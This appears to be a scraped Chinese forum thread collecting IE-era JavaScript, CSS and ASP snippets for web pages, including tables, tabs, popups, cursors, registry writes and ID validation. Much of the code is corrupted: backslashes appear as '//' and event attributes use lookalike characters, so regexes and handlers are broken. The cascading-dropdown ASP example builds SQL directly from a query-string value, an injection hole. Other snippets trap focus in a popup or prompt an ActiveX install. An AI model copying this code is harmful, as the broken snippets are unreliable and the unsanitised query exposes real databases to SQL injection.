<SCRIPT>
function Table (tBody, tHead) {
  this.tBody = tBody;
  this.tHead = 
    tHead.constructor == Array ? tHead : new Array();
  this.view = null;
}
function Table_sort (compFun, col) {
  compFun = compFun || compRows;
  compFun.col = col ? col : 0;
  this.tBody.sort(compFun);
  if (this.view)
    this.view.update();
}
Table.prototype.sort = Table_sort;
function compRows (row1, row2) {
  var sortCol = compRows.col;
  var value1 = row1[sortCol];
  var value2 = row2[sortCol];
  return value1 < value2 ? -1 : 
    value1 == value2 ? 0 : 1;
}
function compRowsNum (row1, row2) {
  var sortCol = compRowsNum.col;
  var value1 = parseFloat(row1[sortCol]);
  var value2 = parseFloat(row2[sortCol]);
  return value1 < value2 ? -1 : 
    value1 == value2 ? 0 : 1;
}
function TableView (model, left, top) {
  this.id = TableView.cnt;
  TableView.views[TableView.cnt++] = this;
  this.model = model;
  this.model.view = this;
  this.left = left || 0;
  this.top = top || 0;
  this.writeLayer();
}
function TableView_writeLayer () {
  var html = '';
  html += '<STYLE>';
  html += '#tableView' + this.id + ' {';
  html += ' position: absolute;';
  html += ' left: ' + this.left + 'px;';
  html += ' top: ' + this.top + 'px';
  html += '}';
  html += '<//STYLE>';
  html += '<DIV ID="tableView' + this.id + '"';
  html += '>';
  html += this.getHTML(this.model);
  html += '<//DIV>';
  document.write(html);
  if (document.all)
    this.layer = document.all['tableView' + this.id];
  else if (document.layers)
    this.layer = document['tableView' + this.id];
  else if (document.getElementById)
    this.layer = document.getElementById('tableView' + this.id);
}
TableView.prototype.writeLayer = TableView_writeLayer;
function TableView_update () {
  var html = this.getHTML();
  if (document.layers) {
    if (!this.layer)
      this.layer = document['tableView' + this.id];
    this.layer.document.open();
    this.layer.document.write(html);
    this.layer.document.close();
  }
  else if (document.all)
    this.layer.innerHTML = html;
  else if (document.createRange) {
    var r = document.createRange();
    if (!this.layer)
      this.layer = document.getElementById('tableView' + this.id);
    while (this.layer.hasChildNodes())
      this.layer.removeChild(this.layer.lastChild);
    r.setStartAfter(this.layer);
    var docFrag = r.createContextualFragment(html);
    this.layer.appendChild(docFrag);
  }
}
TableView.prototype.update = TableView_update;
function TableView_getHTML () {
  var tHead = this.model.tHead;
  var rows = this.model.tBody;
  var html = '';
  html += '<TABLE border=1>';
  for (var r = 0; r < tHead.length; r++) {
    html += '<TR>';
    for (var c = 0; c < tHead[r].length; c++) {
      html += '<TH>'
      html += tHead[r][c];
      html += '<//TH>';
    }
    html += '<//TR>';
  }
  for (var r = 0; r < rows.length; r++) {
    html += '<TR>';
    for (var c = 0; c < rows[r].length; c++) {
      html += '<TD>'
      html += rows[r][c];
      html += '<//TD>';
    }
    html += '<//TR>';
  }
  html += '<//TABLE>';
  return html;
}
TableView.prototype.getHTML = TableView_getHTML;
TableView.cnt = 0;
TableView.views = new Array();
</SCRIPT>
<SCRIPT>
var tHead = [
  [
'<A HREF="javascript: void 0" ONCLICK="table1.sort(); ' +
'return false;">姓名<//A>', 
   '<A HREF="javascript: void 0" ONCLICK="table1.sort(null, 1); ' 
+ 'return false;">课程<//A>',
   '<A HREF="javascript: void 0" ONCLICK="table1.sort(compRowsNum, 2);' 
+ ' return false;">分数<//A>']];
var tBody = [['Meng', '语文', 100],
  ['孟子', '外语', 99],
  ['小孟', '数学', 300]
];
var table1 = new Table(tBody, tHead);
var table1View;
</SCRIPT>
</HEAD>
<BODY>
<SCRIPT>
table1View = new TableView (table1, 100, 100);
</SCRIPT>
</BODY>
</HTML>

模仿模态窗口
下面的代码可以模仿模态窗口,但没有了标题条。

<script>
var WinWidth = 400;
var WinHeight = 300; 

var win = window.open("about:blank","","fullscreen = 1")
win.moveTo(Math.round((screen.Width - WinWidth)/2),Math.round((screen.Height - WinHeight)/2) + 20)
win.resizeTo(WinWidth,WinHeight)
win.location = "
http://lucky.myrice.com"
win.document.body.style.overflow = "hidden"

function focusWin()
{
if(win && win.open && !win.closed) 
win.focus();
}
window.onfocus = focusWin;
</script>

<body οnfοcus="focusWin();" onmousemove = "focusWin();" onkeydown = "focusWin();">
模仿 window.showModalDialog() 的窗口!!

使下拉框没有凹凸感
<body  leftmargin="50" topmargin="50">

<p align="center"><b>正在完善中…………</B><br>

<br>欢迎提出宝贵<a href="mailto:amxh@21cn.com">建议</a></p>

<style>
.optionForSel {font-size:9pt}
</style>

<table cellpadding="0" cellspacing="0" border="0" width="300">
   <tr>
      <td id="selectLength" width="100%" style="height:20px;padding:0px;border:2px inset #404040;border-right:0px;border-bottom:1px solid #D4D0C8;font-size:9pt;">
         <div id="selectedValue" style="padding:2px;border:0px;width:100%;height:20px;font-size:9pt;vertical-align:bottom"></div>
      </td>
      <td width="20" style="height:20px;padding:0px;border-top:2px inset #404040;border-left:0px;border-right:1px solid #D4D0C8;border-bottom:1px solid #D4D0C8;font-size:9pt">
         <img src="button2.gif" width="20" height="21" border="0" id="mm" οnclick="mm_Click()" align="absmiddle">
      </td>
   </tr>
</table>
<div id="dropdownOption" style="position:absolute;visibility:hidden;width:100%;border:1px solid #080808;z-index:1000">
   <table width="100%" cellpadding="0" cellspacing="1" class="optionForSel" bgcolor="White">
      <tr οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''">
         <td οnclick="document.all.selectedValue.innerText=this.innerText">
            <img src="
http://lucky.myrice.com/images/copyright.gif" border="0" align="absmiddle" hspace="2"><a href="http://lucky.myrice.com">Visit1</a>
         </td>
      </tr>
      <tr>
         <td οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''"οnclick="document.all.selectedValue.innerText=this.innerText">
            <img src='http://lucky.myrice.com/images/meng1.gif' border="0" align="absmiddle" hspace="2"><a href="
http://lucky.myrice.com">Visit2</a>
         </td>
      </tr>
      <tr>
         <td οnmοuseοver="this.style.backgroundColor='#0099ff'" οnmοuseοut="this.style.backgroundColor=''"οnclick="document.all.selectedValue.innerText=this.innerText">
            <img src='http://lucky.myrice.com/images/meng2.gif' border="0" align="absmiddle" hspace="2"><a href="
http://lucky.myrice.com">Visit3</a>
         </td>
      </tr>
   </table>
</div>

<script>
function mm_Click()
{
   if(document.all.dropdownOption.style.visibility == 'visible')
      document.all.dropdownOption.style.visibility='hidden'
   else
      document.all.dropdownOption.style.visibility='visible'
}
function init(){
document.all.dropdownOption.style.width = document.all.selectLength.clientWidth + 22;
document.all.selectedValue.contentEditable = true;
var strTop = 0;
var strLeft = 0;
var e1 = document.all.selectLength;
while(e1.tagName != "BODY")
{
strTop += e1.offsetTop
strLeft += e1.offsetLeft
e1 = e1.offsetParent
}
document.all.dropdownOption.style.top = String(strTop + 24) + "px";
document.all.dropdownOption.style.left = String(strLeft) + "px";
}

function clickE()
{
if(window.event.srcElement.id !='mm')
document.all.dropdownOption.style.visibility='hidden';
}

document.onclick = clickE
window.onload = init
</script>
<br>
<br>
<input οnclick="alert(document.all.selectedValue.innerText)" type="button" value="得到选中的值">

细线表格(CSS控制)
<style>
.mm
{
  width: 200;
  border-Collapse: collapse;
  mm1:expression(this.border=1);
  mm2:expression(this.borderColor='#FF0000');
  mm3:expression(this.cellPadding=0);
}
</style>

<table class=mm>
  <tr><td>meizz</td><td>meizz</td></tr>
  <tr><td>meizz</td><td>meizz</td></tr>
</table>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
选项卡:


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns:ts>
<HEAD>
<TITLE>Please Input First </TITLE>
<link rel="ShortCut" href="XMLSpyHot.ico"/>
<style type="text/css">
<!--
.tablecss{
   border: outset;
   border-left-width:2.5px;
   border-width: 6px;
   border-top-width:1.5px;
   border-right-width:2.5px;
   border-left-width:1.5px;
   border-bottom-width:2.5px;   
   font-family: System;
   background:#C8C8FF;
   color:#747474;
}

-->
</style>
<style type="text/css">

.pane {
  display : none;
  }
td.tabs {
  border-top : 2px outset white;
  border-left : medium outset white;
  border-left-width:2;
  border-right-width: 3px;
  border:outset;
  border-top-width:1.5;
  border-left-width:1.5;
  border-right-width:2.5;
  border-bottom:0;
 
  }
div.tabs {
  background-color :#E8E8FF;
  cursor : hand;
  color:#747474;
  font-size:13px;
  font:bolder;
  }
</style>
<script type="text/javascript">
var currentPaneStyle = 0;
var currentTab = 0;

function tabstrip()
{
   this.tabs = new Array();
   this.add = addTab;
   this.write = writeTabstrip;
}

function tab(caption,content)
{
  this.setId = setId;
  this.caption = caption;
  this.content = content;
  this.write = writeTab;
  this.writeContent = writePane;
}

function addTab(tab)
{
  tab.setId("tab" + this.tabs.length);
  this.tabs[this.tabs.length] = tab;
}

function setId(id)
{
  this.id = id;
}

function initiate()
{
  var div = document.getElementById("tab0");
  showPane(div);
}

function showPane(div)
{
  if(currentTab != 0)
  {
    currentTab.style.backgroundColor = "#E8E8FF";
  }
  div.style.backgroundColor = "#ccccff";
  currentTab = div;

  if(currentPaneStyle != 0)
    currentPaneStyle.display = "none";
  var paneId = "pn_" + div.id;
  var objPaneStyle = document.getElementById(paneId).style;
  objPaneStyle.display = "block";
  currentPaneStyle = objPaneStyle;
}

function SubmitForm()
{
   window.alert("Form submitted.  This would normally take you to another page");
   // normally, you would here check the form and submit it.
   // if the form has the name 'tabform', then it is submitted
   // with tabform.submit();
}

function writePane()
{
  document.write("<div class='pane' id='pn_" + this.id + "'>" + this.content + "</div>");
}

function writeTab()
{
   document.write("<td class='tabs'><div class='tabs' id='" + this.id + "' οnclick='showPane(this)'>" + this.caption + "</div></td>");
}

function writeTabstrip()
{
  document.write("<table class='tabs'><tr>");
  for(var i = 0; i < this.tabs.length; i++)
  {
    this.tabs[i].write();
  }
  document.write("</tr></table>");
  
  for(var k = 0; k < this.tabs.length; k++)
  {
    this.tabs[k].writeContent();
  }
  initiate();
}
</script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function checknull(){
   if((myform.username.value=="")||(myform.age.value=="")||(myform.email.value=="")){ self.showModalDialog('erroralert.html','Error','status:no;resizable:no;dialogHeight:290px;dialogWidth:450px;');
   return false;
   }else{
   parent.location.reload();
   window.close();
   }
   return true;
}
//-->
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
<!--
function submite(e){
  
     var t1=e.elements[0].value;
     var t2=e.elements[1].value;
    var t3=e.elements[2].value;
     var t4=e.elements[3].value;


  var arr=new Array(t1,t2,t3,t4);
  window.returnValue=arr;
  window.close();
}
//-->
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
<!--
function submitAll(){
   var a1=document.pane1.myform.username.value;
   var a2=document.myform.age.value;
   var a3=document.myform.email.value;
   var a4=document.form2.mothername.value;
   var a5=document.form3.companyname.value;
   var arr=new Array(a1,a2,a3,a4,a5);
   window.returnValue=arr;
   window.close();
}
//-->
</SCRIPT>
</HEAD>

<BODY bgcolor="#C8C8FF">
<form action="parent.htm" name="form1">
<script type="text/javascript">
var pane1 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form  name='myform' action='parent.htm' οnsubmit='return checknull()'><tr height='60' valign='bottom'><td align='center'><font color='#7B7B7B'>Name:</font></td><td><input type='text' name='username' style='font:bold'/></td></tr><tr><td align='center'>Age:</td><td><input type='text' name='age' style='font:bold'/></td></tr><tr><td align='center'>Email:</td><td><input type='text' name='email' style='font:bold'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='submitAll' value='Submit' class='tablecss'/></td></tr></form></table>";

var pane2 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form name='form2' action='parent.htm' οnsubmit='return checknull(this.username)'><tr height='60' valign='bottom'><td align='center'><font style='size:1px;font-style:bold;' color='#7B7B7B'><strong>父亲:</strong></font></td><td><input type='text' name='fathername' style='font:bold'/></td></tr><tr><td align='center'>母亲:</td><td><input type='text' name='mothername' style='font:bold'/></td></tr><tr><td align='center'>家庭电话:</td><td><input type='text' name='homephone' style='font:bold'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='name' value='Submit' class='tablecss'/></td></tr></form></table>";

var pane3 = "<table border='0' class='tablecss' bgcolor='#D8EBEF' width='100%'><form name='form3' action='parent.htm' οnsubmit='return checknull(this.username)'><tr height='60' valign='bottom'><td align='center'><font color='#7B7B7B'>Companyname:</font></td><td><input type='text' name='companyname'/></td></tr><tr><td align='center'>Email:</td><td><input type='text' name='companyemail'/></td></tr><tr height='40'><td/></tr><tr><td><input type='submit' name='name' value='Submit' class='tablecss'/></td></tr></form></table>";

var ts = new tabstrip("new");
ts.Separators=false;
var t1 = new tab("个人属性",pane1);
var t2 = new tab("家庭成员",pane2);
var t3 = new tab("公司",pane3);

ts.add(t1);
ts.add(t2);
ts.add(t3);

ts.write();
</script>
<INPUT TYPE="submit"  οnclick="submite(form1)"/>
</form>
<!---->
</BODY>
</HTML>

链接下陷效果是怎么做成的?(请看解答)
样式表:
A:link {COLOR: #000000; TEXT-DECORATION: none}
A:visited {COLOR: #000000; TEXT-DECORATION: none}
A:hover {COLOR: #656545; POSITION: relative; LEFT: 1px; TOP: 1px; TEXT-DECORATION: none}


示例代码:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"
http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style>
body{
color:#111111;
scrollbar-face-color:#ffffff;
scrollbar-highlight-color:#ffffff;
scrollbar-shadow-color:#000000;
scrollbar-3dlight-color:#000000;
scrollbar-arrow-color:#3c3c3c;
scrollbar-track-color:#dddddd;
scrollbar-darkshadow-color:#ffffff;
font-size:12px;
}
A:link {COLOR: #000000; TEXT-DECORATION: none}
A:visited {COLOR: #000000; TEXT-DECORATION: none}
A:hover {COLOR: #656545; POSITION: relative; LEFT: 1px; TOP: 1px; TEXT-DECORATION: none}
</style>
</head>

<body>
<p>TOPBar效果示例:</p>
<p><span class="TopBar" style="background-color:#000000 "> <a href="../../Pages/index.asp"><font color="#FFFFFF">首页<img src="images/fg.gif" width="9" height="11" border="0"></font></a><a href="../Technology/index.asp"><font color="#FFFFFF">专业技术</font></a><a href="../Pages/index.asp"><font color="#FFFFFF"><img src="images/fg.gif" width="9" height="11" border="0"></font></a><a href="../design/index.asp"><font color="#FFFFFF">设计</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../cartoon/index.asp"><font color="#FFFFFF">动漫</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../Writer/Index.asp"><font color="#FFFFFF">作者专栏</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../School/Index.asp"><font color="#FFFFFF">培训考试</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../market/index.asp"><font color="#FFFFFF">市场活动</font></a><img src="images/fg.gif" width="9" height="11" border="0"><a href="../Bbs/index.asp"><font color="#FFFFFF">论坛 
</font></a></span></p>


数字面包上用到的:
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>
<script language="JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
<table width=100% height="22" border=0 align="center" cellpadding="2" cellspacing="0">
  <tr>
    <td align="right" valign="top"><a href="../../index/index2.asp" class="text">返回网站</a> </td>
    <td colspan="3" align="right" height="22" valign="top"><a href=default.asp class="text">首页</a> 
      | <a href=../size/download/default.asp class="text" target="_blank">资源</a> 
      | <a href="#" class="text" onClick="MM_openBrWindow('pm.asp','pm','scrollbars=yes,width=420,height=400')">消息</a> 
      | <a href=option.asp class="text">设置</a> | <a href="forum_search.asp" class="text">搜索</a> 
      | <a href=showFavor.asp class="text">收藏</a> | <a href="detail_allelite.asp" class="text" target="_blank">精华</a> 
      | <a href=top.asp class="text">排行</a> | <a href=../extension/default.asp class="text">插件</a> 
      | <a href="/forum/mb_forum/default.asp?MM_Logoutnow=1" class="text">退出</a> 
    </td>
    <form name="form1">
      <td align="center" height="22" valign="top"> <select name="day" onChange="MM_jumpMenu('self',this,0)" class="select">
          <option selected>■ 快捷进入选项</option>
          <option value="day_detail.asp?ZDDATE=2003-12-29">>> 
          今天的主题帖</option>
          <option value="day_detail.asp?ZDDATE=2003-12-28">>> 
          昨天的主题帖</option>
          <option value="day_detail.asp?ZDDATE=2003-12-27">>> 
          前天的主题帖</option>
          <option value="zyx_detail.asp?zyx=10">>> 最后回复的10帖</option>
          <option value="zyx_detail.asp?zyx=30">>> 最后回复的30帖</option>
          <option value="zyx_detail.asp?zyx=50">>> 最后回复的50帖</option>
        </select> </td>
    </form>
  </tr>
</table>
</body>
</html>

随心所欲更改你的鼠标!!!
   现在网页的设计都讲究整体统一风格,无论是网页的文字、图像,还是浏览器的滚动条都要求颜色和风格一致。但是很多朋友却对网页上的鼠标不能改变样子而感到苦恼,下面我就介绍两种改变网页上鼠标的方法:

    一、用CSS(Cascading Style Sheets,层叠样式表)的方法
   首先要制作或者寻找一套适合网页风格的鼠标,我使用的鼠标是weste.ani和weste2.ani,在,将两个文件存放到的网站的文件夹ani,然后在你的网页文件的</head></head>之间加上代码:
    <style type="text/css">
    <!--
    body {CURSOR: url('ani/weste.ani')}
    A {CURSOR: url('ani/weste2.ani')
    -->
    </style>
        再次浏览网页的时候你会发现,网页的鼠标显示已经改变了。当鼠标悬停在链接上的时候,显示的weste2.ani样子,其他时候显示weste.ani。
    原理:其实这种方法利用了CSS2的一个cursor的属性cursor:url (url),鼠标文件可以使用jpg、gif、ani和cur多种文件格式。需要注意的这种方式只能在IE5.5以上浏览器中正常显示。

    二、利用第三方控件的方法
    这种方法非常简单,只需要讲以下代码加到网页文件的<head></head>之间:
    <script language=javascript>var Loaded=false;var Flag=false;</script>
    <script src='http://files.cometsystems.com/javascript/lc2000.js'
language=javascript></script>
    <script language=javascript>if(Loaded&&Flag)TheCometCursor('cd_electric',0,626);</script>
    修改后,浏览此网页的时候浏览器会弹出一个“安全设置警告”,点击“是”,系统自动安装控件,鼠标就可以按照你的需要显示了。
    那么,如何才能选择你所需要的鼠标样式呢?先登陆网站
http://www.cometzone.com,这个网站有14个大类4000多种鼠标,内容十分广泛,鼠标文件制作也很精美,你可以根据需要从类别中选择需要的鼠标,点击相应的鼠标图片就可以预览到不同的效果。
    选中鼠标后,点击网页左边导航的“GET CURSOR CODE”链接,转到下一页,再点击“Select Code”按钮,按钮下这个多行文本框里面的内容就是我上面提供的代码,只是代码中TheCometCursor('cd_electric',0,626)部分不同,显示的鼠标状态也不同。

代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<script language=javascript>var Loaded=false;var Flag=false;</script>
<script src='http://files.cometsystems.com/javascript/lc2000.js'
language=javascript></script>
<script language=javascript>if(Loaded&&Flag)TheCometCursor('bbird',0,626);</script>
</head>

<body>
</body>
</html>

连动下拉菜单[数据库版]
    想了好久得出的方法,想着很多人都为此问题得不到解决而苦恼,本着代码共享的原则,现公布出来供大家指正(其实不说出来我也难受)。如果您觉得不错请帮忙提提前,好让更多的朋友看到。

    此方法绝不是事先将所有记录都写入到页面中再通过脚本过滤,那样虽然简单,但对于大的数据量显然就不适合了,而且还严重浪费资源。

    将下面的代码稍作修改即可应用于其它地方,非常方便。

    为测试用,先建一名 Test.mdb 的 Access2000 数据库,建立两个表 Type,Title,结构如下:
Type
******************
ID    自动编号,主键
名称  文本,长度合适

Title
********************
ID    自动编号,主键
类别  长整形数字,并联 Type 表的 ID 字段
标题  文本,长度合适

    我们的目的是从 Type 表中读取记录并写入到第一个列表框中,并在第一个列表框选择时从 Title 表中过滤出相应记录写入到第二个列表框中,并且可以随时获得第二列表框所选的值。

    关键:在 B.asp 放置一隐藏域,来存放第二列表框所选的值,在 A.asp 中通过脚本来访问该隐藏域的值来达到跨页面读取数值的目的。

'********************************************************
'  conn.asp   连接数据库,这里用 test.mdb 来作测试
'********************************************************
<%
   dim conn   
   dim connstr

   connstr="DBQ="+server.mappath("test.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
   set conn=server.createobject("ADODB.CONNECTION")
   conn.open connstr
%>

'********************************************************
'  A.asp   主页面,内嵌 B.asp(第二列表框在B.asp页面)
'********************************************************
<!--#include file="conn.asp"-->
<table>
<tr><td>
<form method="POST" action="">
<%
Dim I,FirstID
I=1
Set Rs= Server.CreateObject("ADODB.Recordset")
SQL="SELECT * FROM Type;"
RS.Open SQL,Conn,1,1
Response.Write "第一列表框 <select size='1' ID='A' name='A' OnChange='VBScript:ChangType'>"
DO While Not RS.Eof
Response.Write "<option value='" & RS("ID") & "'>" & RS("名称") & "</option>"
RS.MoveNext
Loop
Response.Write "</select>"
%>
<P>
<IFRAME HEIGHT="40" WIDTH="500" FRAMEBORDER=NO MARGINHEIGHT=0 SRC="B.asp?ID=1" ID="TitleFrame">
</IFRAME>
</P>
<P>
<input type='button' οnclick='vbscript:Show.innerText="选择的值是:" & Document.Frames(0).Document.All.H.value' value='查看第二列表框所选值'>
</P>
</Form>
</td></tr>
<tr><td ID="Show">
</td></tr>
</table>

<Script Language=VBScript>
Sub ChangType
TitleFrame.Location.Replace("B.asp?ID=" & Document.All.A.Value)
End Sub
</Script>
<%
RS.Close
Set RS=Nothing
Conn.Close
Set Conn=Nothing
%>

'********************************************************
'  B.asp   第二列表框所在页面,内嵌于 A.asp
'********************************************************
<!--#include file="Conn.asp"-->
<%
 TypeID=Trim(Request.QueryString("ID"))
 Dim RS
 Set RS= Server.CreateObject("ADODB.Recordset")
 SQL="SELECT * FROM Title Where 类别=" & TypeID & ";"
 RS.Open SQL,Conn,1,1
 Response.Write "第二列表框 <select size='1' name='B' ID='B'  OnChange='H.value=this.options[this.selectedIndex].value'>"
 Do While Not RS.Eof
  Response.Write "<option value='" & RS("ID") & "'>" & RS("标题") & "</option>"
  RS.MoveNext
 Loop
  Response.Write "</select>"
 RS.Close
 Set RS=Nothing
 Conn.Close
 Set Conn=Nothing
%>
<input type="hidden" name="H">
<script Language="vbscript">
H.value=B.options(B.selectedIndex).value
</script>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)

关闭IE时触发事件!

<script>window.οnunlοad="alert('你关了这个窗口');"</script>


<script>window.οnbefοreunlοad=function(){alert('你关了这个窗口');};</script>


一段限制文本框只能输入数字0~9的代码:
<body>
<input οnkeyup="this.value=this.value.replace(//D/g,'')" onafterpaste="this.value=this.value.replace(//D/g,'')">
</body>


具有在输入非数字字符不回显的效果,即对非数字字符的输入不作反应。
function numbersonly(field,event){
   var key,keychar;
   if(window.event){
      key = window.event.keyCode;
   }
   else if (event){
      key = event.which;
   }
   else{
      return true
   }
   keychar = String.fromCharCode(key);
   if((key == null)||(key == 0)||(key == 8)||(key == 9)||(key == 13)||(key == 27)){
      return true;
   }
   else if(("0123456789.").indexOf(keychar)>-1){
      window.status = "";
      return true;
   }
   else {
      window.status = "Field excepts numbers only";
      return false;
   }
}

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
画图:
<OBJECT 
id=S 
style="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px" 
height=240 
width=392 
classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E6">
</OBJECT>
<SCRIPT>
S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);
S.DrawingSurface.ArcRadians(30,0,0,30,50,60);
S.DrawingSurface.Line(10,10,100,100);
</SCRIPT>

Javascript写注册表
写注册表:
<SCRIPT>
var WshShell = WScript.CreateObject("WScript.Shell");
WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//", 1, "REG_BINARY");
WshShell.RegWrite ("HKCU//Software//ACME//FortuneTeller//MindReader", "Goocher!", "REG_SZ");
var bKey =    WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//");
WScript.Echo (WshShell.RegRead ("HKCU//Software//ACME//FortuneTeller//MindReader"));
WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//MindReader");
WshShell.RegDelete ("HKCU//Software//ACME//FortuneTeller//");
WshShell.RegDelete ("HKCU//Software//ACME//");
</SCRIPT>

<HTML>
<SCRIPT LANGUAGE="JScript">
function numberCells() {
    var count=0;
    for (i=0; i < document.all.mytable.rows.length; i++) {
        for (j=0; j < document.all.mytable.rows(i).cells.length; j++) {
            document.all.mytable.rows(i).cells(j).innerText = count;
            count++;
        }
    }
}
</SCRIPT>
<BODY οnlοad="numberCells()">
<TABLE id=mytable border=1>
<TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
</TABLE>
</BODY>
</HTML> 

另加几个代码
1.身份证严格验证:

<script>
var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}
  
function cidInfo(sId){
   var iSum=0
   var info=""
   if(!/^/d{17}(/d|x)$/i.test(sId))return false;
   sId=sId.replace(/x$/i,"a");
   if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区";
   sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-"+Number(sId.substr(12,2));
   var d=new Date(sBirthday.replace(/-/g,"/"))
   if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日";
   for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11)
   if(iSum%11!=1)return "Error:非法证号";
   return aCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.substr(16,1)%2?"男":"女")
}

document.write(cidInfo("380524198002300016"),"<br/>");
document.write(cidInfo("340524198002300019"),"<br/>")
document.write(cidInfo("340524197711111111"),"<br/>")
document.write(cidInfo("34052419800101001x"),"<br/>");
</script>

2.验证IP地址
<SCRIPT LANGUAGE="JavaScript">
function isip(s){
   var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}};
   var re=s.split(".")
   return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false
}

var s="202.197.78.129";
alert(isip(s))
</SCRIPT>

3.加sp1后还能用的无边框窗口!!
<HTML XMLNS:IE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<IE:Download ID="include" STYLE="behavior:url(#default#download)" />
<title>Chromeless Window</title>

<SCRIPT LANGUAGE="JScript">
/*--- Special Thanks For andot ---*/

/*
 This following code are designed and writen by Windy_sk <
seasonx@163.net>
 You can use it freely, but u must held all the copyright items!
*/

/*--- Thanks For andot Again ---*/

var CW_width   = 400;
var CW_height   = 300;
var CW_top   = 100;
var CW_left   = 100;
var CW_url   = "/";
var New_CW   = window.createPopup();
var CW_Body   = New_CW.document.body;
var content   = "";
var CSStext   = "margin:1px;color:black; border:2px outset;border-style:expression(οnmοuseοut=οnmοuseup=function(){this.style.borderStyle='outset'}, οnmοusedοwn=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

//Build Window
include.startDownload(CW_url, function(source){content=source});

function insert_content(){
   var temp = "";
   CW_Body.style.overflow      = "hidden";
   CW_Body.style.backgroundColor   = "white";
   CW_Body.style.border      =  "solid black 1px";
   content = content.replace(/<a ([^>]*)>/g,"<a οnclick='parent.open(this.href);return false' $1>");
   temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
   temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' οndblclick=/"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" οnmοuseup='parent.drag_up(event)' οnmοusemοve='parent.drag_move(event)' οnmοusedοwn='parent.drag_down(event)' onselectstart='return false' οncοntextmenu='return false'>";
   temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
   temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
   temp += "<span id=Help  οnclick=/"alert('Chromeless Window For IE6 SP1  -  Ver 1.0//n//nCode By Windy_sk//n//nSpecial Thanks For andot')/" style=/""+CSStext+"font-family:System;padding-right:2px;/">?</span>";
   temp += "<span id=Min   οnclick='parent.New_CW.hide();parent.blur()' style=/""+CSStext+"font-family:Webdings;/" title='Minimum'>0</span>";
   temp += "<span id=Max   οnclick=/"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" style=/""+CSStext+"font-family:Webdings;/" title='Maximum'>1</span>";
   temp += "<span id=Close οnclick='parent.opener=null;parent.close()' style=/""+CSStext+"font-family:System;padding-right:2px;/" title='Close'>x</span>";
   temp += "</td></tr><tr><td colspan=2>";
   temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
   temp += content;
   temp += "</div>";
   temp += "</td></tr></table>";
   CW_Body.innerHTML = temp;
}

setTimeout("insert_content()",1000);

var if_max = true;
function show_CW(){
   window.moveTo(10000, 10000);
   if(if_max){
      New_CW.show(CW_top, CW_left, CW_width, CW_height);
      if(typeof(New_CW.document.all.include)!="undefined"){
         New_CW.document.all.include.style.width = CW_width;
         New_CW.document.all.Max.innerText = "1";
      }
      
   }else{
